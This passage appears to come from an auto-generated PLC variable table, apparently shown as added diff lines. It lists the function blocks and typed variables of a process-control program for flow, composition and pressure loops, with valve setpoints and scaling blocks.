+54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; 